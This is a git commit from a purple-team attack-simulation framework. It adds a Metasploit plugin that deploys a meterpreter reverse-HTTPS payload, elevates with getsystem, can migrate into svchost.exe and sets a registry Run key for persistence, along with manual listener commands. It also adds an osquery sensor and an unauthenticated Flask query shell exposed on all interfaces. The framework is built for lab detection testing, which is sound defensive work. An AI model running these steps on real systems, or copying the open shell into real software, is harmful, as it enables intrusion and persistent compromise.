mirror of https://github.com/avast/PurpleDome
commit
fc5ec6a702
@ -0,0 +1,17 @@
|
||||
Manual operation
|
||||
----------------
|
||||
|
||||
target: start babymetal.exe
|
||||
|
||||
attacker:
|
||||
|
||||
use exploit/multi/handler
|
||||
set payload windows/x64/meterpreter/reverse_https
|
||||
set LHOST 192.168.178.189 (YMMV)
|
||||
set LPORT 6666 (YMMV)
|
||||
run
|
||||
100.64.0.25 on kali
|
||||
100.64.0.25 on win
|
||||
|
||||
getsystem
|
||||
reg setval -k HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v purpledome -d c:\windows\system32\calc.exe
|
@ -0,0 +1,42 @@
|
||||
###
|
||||
# Configuration for autostart experiments
|
||||
|
||||
### Registry key to set
|
||||
# 0: "HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||
# 1: "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||
# 2: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend
|
||||
regkey_variant: 2
|
||||
|
||||
### Data to set
|
||||
# 0: c:\\windows\\system32\\calc.exe
|
||||
# 1: c:\temp\evil.dll
|
||||
# 2: c:\dummy.dll
|
||||
data_options: 0
|
||||
|
||||
###
|
||||
# Run getsystem first ?
|
||||
getsystem: True
|
||||
|
||||
###
|
||||
# Name of the registry key to add
|
||||
value: purpledome3_new2
|
||||
|
||||
###
|
||||
# meterpreter commands to execute before migrating to a new process
|
||||
# Can be used to start processes to hide in
|
||||
|
||||
# start_commands:
|
||||
# - execute -f calc.exe
|
||||
|
||||
### Upload files (those could be autostarted !)
|
||||
#
|
||||
upload:
|
||||
- dummy.dll
|
||||
|
||||
###
|
||||
# Migrate to a new process before modifying the registry
|
||||
migrate: No
|
||||
|
||||
###
|
||||
# Process to migrate to
|
||||
migrate_target: svchost.exe
|
@ -0,0 +1,121 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to nmap targets slow motion, to evade sensors
|
||||
|
||||
from plugins.base.attack import AttackPlugin, Requirement
|
||||
from app.interface_sfx import CommandlineColors
|
||||
import os
|
||||
|
||||
|
||||
class MetasploitAutostart1Plugin(AttackPlugin):
|
||||
|
||||
# Boilerplate
|
||||
name = "metasploit_registry_autostart_1"
|
||||
description = "Modify the registry to autostart"
|
||||
ttp = "T1547_1"
|
||||
references = ["https://attack.mitre.org/techniques/T1547/001/"]
|
||||
tactics = "Persistence"
|
||||
tactics_id = "TA0003"
|
||||
|
||||
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||
requirements = [Requirement.METASPLOIT]
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
def run(self, targets):
|
||||
""" Run the command
|
||||
|
||||
@param targets: A list of targets, ip addresses will do
|
||||
"""
|
||||
|
||||
res = ""
|
||||
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||
payload_name = "babymetal.exe"
|
||||
target = self.targets[0]
|
||||
|
||||
# self.connect_metasploit()
|
||||
# ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||
self.metasploit.smart_infect(target,
|
||||
# lhost=ip,
|
||||
payload=payload_type,
|
||||
outfile=payload_name,
|
||||
format="exe",
|
||||
architecture="x64")
|
||||
|
||||
###
|
||||
|
||||
rkeys = [r"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend"
|
||||
]
|
||||
regkey = rkeys[self.conf['regkey_variant']]
|
||||
# value = "purpledome"
|
||||
|
||||
data_options = [r"c:\\windows\\system32\\calc.exe ",
|
||||
r"c:\\temp\\evil.dll",
|
||||
r"c:\\dummy.dll"]
|
||||
data = data_options[self.conf['data_options']]
|
||||
# data = r"c:\\windows\\system32\\calc.exe "
|
||||
|
||||
# regkey = self.conf['regkey']
|
||||
value = self.conf["value"]
|
||||
# data = self.conf["data"]
|
||||
command_set = f"reg setval -k {regkey} -v {value} -d {data}"
|
||||
command_create = f"reg createkey -k {regkey}"
|
||||
|
||||
if self.conf["getsystem"]:
|
||||
self.metasploit.getsystem(target,
|
||||
variant=0,
|
||||
situation_description="Elevating privileges to write to the registry",
|
||||
countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection."
|
||||
)
|
||||
|
||||
self.attack_logger.vprint(
|
||||
f"{CommandlineColors.OKCYAN}Execute {command_set} through meterpreter{CommandlineColors.ENDC}", 1)
|
||||
|
||||
if "upload" in self.conf and len(self.conf["upload"]):
|
||||
print(f"Before {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
|
||||
print(self.metasploit.meterpreter_execute_on(["cd c:\\"], target))
|
||||
print(f"After {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
|
||||
for src in self.conf["upload"]:
|
||||
print(src)
|
||||
self.attacker_machine_plugin.put(
|
||||
os.path.join(os.path.dirname(self.plugin_path), "resources", src), src)
|
||||
self.metasploit.upload(target, src, src) # Make sure the process to hide behind is running
|
||||
|
||||
if "start_commands" in self.conf and len(self.conf["start_commands"]):
|
||||
for cmd in self.conf["start_commands"]:
|
||||
print(cmd)
|
||||
self.metasploit.meterpreter_execute_on([cmd], target) # Make sure the process to hide behind is running
|
||||
|
||||
if self.conf["migrate"]:
|
||||
tgt = self.conf["migrate_target"]
|
||||
print(f"Migrate to {tgt}")
|
||||
self.metasploit.migrate(target, name=tgt)
|
||||
|
||||
logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
|
||||
target=target.get_ip(),
|
||||
metasploit_command=command_set,
|
||||
ttp=self.ttp,
|
||||
name="registry add run key",
|
||||
description=self.description,
|
||||
tactics=self.tactics,
|
||||
tactics_id=self.tactics_id,
|
||||
situation_description="",
|
||||
countermeasure=""
|
||||
)
|
||||
res = self.metasploit.meterpreter_execute_on([command_create], target)
|
||||
print(res)
|
||||
res = self.metasploit.meterpreter_execute_on([command_set], target)
|
||||
print(res)
|
||||
self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
|
||||
target=target.get_ip(),
|
||||
metasploit_command=command_set,
|
||||
ttp=self.ttp,
|
||||
logid=logid,
|
||||
result=res)
|
||||
###
|
||||
# breakpoint()
|
||||
return res
|
@ -0,0 +1,3 @@
|
||||
# OSQuery
|
||||
|
||||
Standalone OSQuery experiment.
|
@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
""" The remote bastion for the sensor. Used to control the osquery on the target. Opens a web command shell.
|
||||
This is not meant to be secure and MUST NOT be used in a productive environment. As we use this in a hacking lab this
|
||||
is reasonable.
|
||||
|
||||
Test with curl:
|
||||
|
||||
curl -X POST -F 'command=test' localhost:6666/osquery
|
||||
|
||||
(select timestamp from time)
|
||||
"""
|
||||
|
||||
from flask import Flask, jsonify, request
|
||||
import osquery
|
||||
|
||||
|
||||
# TODO: Create a proper tool out of it
|
||||
# TODO: Start osqueryi with proper parameters
|
||||
# TODO: On the controller side: Find a collection of queries to get the system state
|
||||
|
||||
# TODO: Interesting tables: appcompat_shims, authenticode, autoexec, certificates, etc_hosts, logged_in_users
|
||||
|
||||
app = Flask(__name__)
|
||||
osquery_instance = osquery.ExtensionClient('/home/vagrant/test.sock')
|
||||
osquery_instance.open()
|
||||
|
||||
|
||||
@app.route("/osquery", methods=['POST'])
|
||||
def api():
|
||||
data = {}
|
||||
if request.method == 'POST':
|
||||
command = request.form["command"]
|
||||
data = {"command": command}
|
||||
client = osquery_instance.extension_client()
|
||||
data["result"] = client.query(command).response
|
||||
return jsonify(data)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Important: This is to be run on target hosts only. Those are hacked anyway.
|
||||
# Very bad security practice to use it in real world.
|
||||
app.run(host='0.0.0.0', port=6666) # nosec
|
@ -0,0 +1,72 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# A plugin to experiment with Linux osquery
|
||||
|
||||
# https://github.com/osquery/osquery-python
|
||||
|
||||
from plugins.base.sensor import SensorPlugin
|
||||
# import os
|
||||
# from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||
|
||||
|
||||
class LinuxOSQueryPlugin(SensorPlugin):
|
||||
# Boilerplate
|
||||
name = "osquery"
|
||||
description = "Linux osquery plugin" # Can later be extended to support other OS-es as well
|
||||
|
||||
required_files = []
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.plugin_path = __file__
|
||||
|
||||
self.debugit = False
|
||||
|
||||
def process_templates(self):
|
||||
""" process jinja2 templates of the config files and insert own config """
|
||||
|
||||
pass
|
||||
|
||||
def prime(self):
|
||||
""" Hard-core install. Requires a reboot """
|
||||
|
||||
# pg = self.get_playground()
|
||||
|
||||
self.vprint("Installing Linux OSQuery", 3)
|
||||
|
||||
self.run_cmd('echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list')
|
||||
self.run_cmd("sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B")
|
||||
self.run_cmd("sudo apt update")
|
||||
self.run_cmd("sudo apt -y install osquery")
|
||||
self.run_cmd("")
|
||||
# sudo apt -y install python3-pip
|
||||
# pip install osquery
|
||||
|
||||
return False
|
||||
|
||||
def install(self):
|
||||
""" Installs the filebeat sensor """
|
||||
|
||||
return
|
||||
|
||||
def start(self):
|
||||
self.run_cmd("osqueryi --ephemeral --disable_logging --disable_database --extensions_socket /home/vagrant/test.sock") # TODO: Find better socket name
|
||||
|
||||
"""
|
||||
ec = osquery.ExtensionClient("/home/vagrant/test.sock")
|
||||
ec.open()
|
||||
c = ec.extension_client()
|
||||
c.query("select timestamp from time")
|
||||
"""
|
||||
|
||||
return None
|
||||
|
||||
def stop(self):
|
||||
""" Stop the sensor """
|
||||
return
|
||||
|
||||
def collect(self, path):
|
||||
""" Collect sensor data """
|
||||
|
||||
dst = ""
|
||||
return [dst]
|
Loading…
Reference in New Issue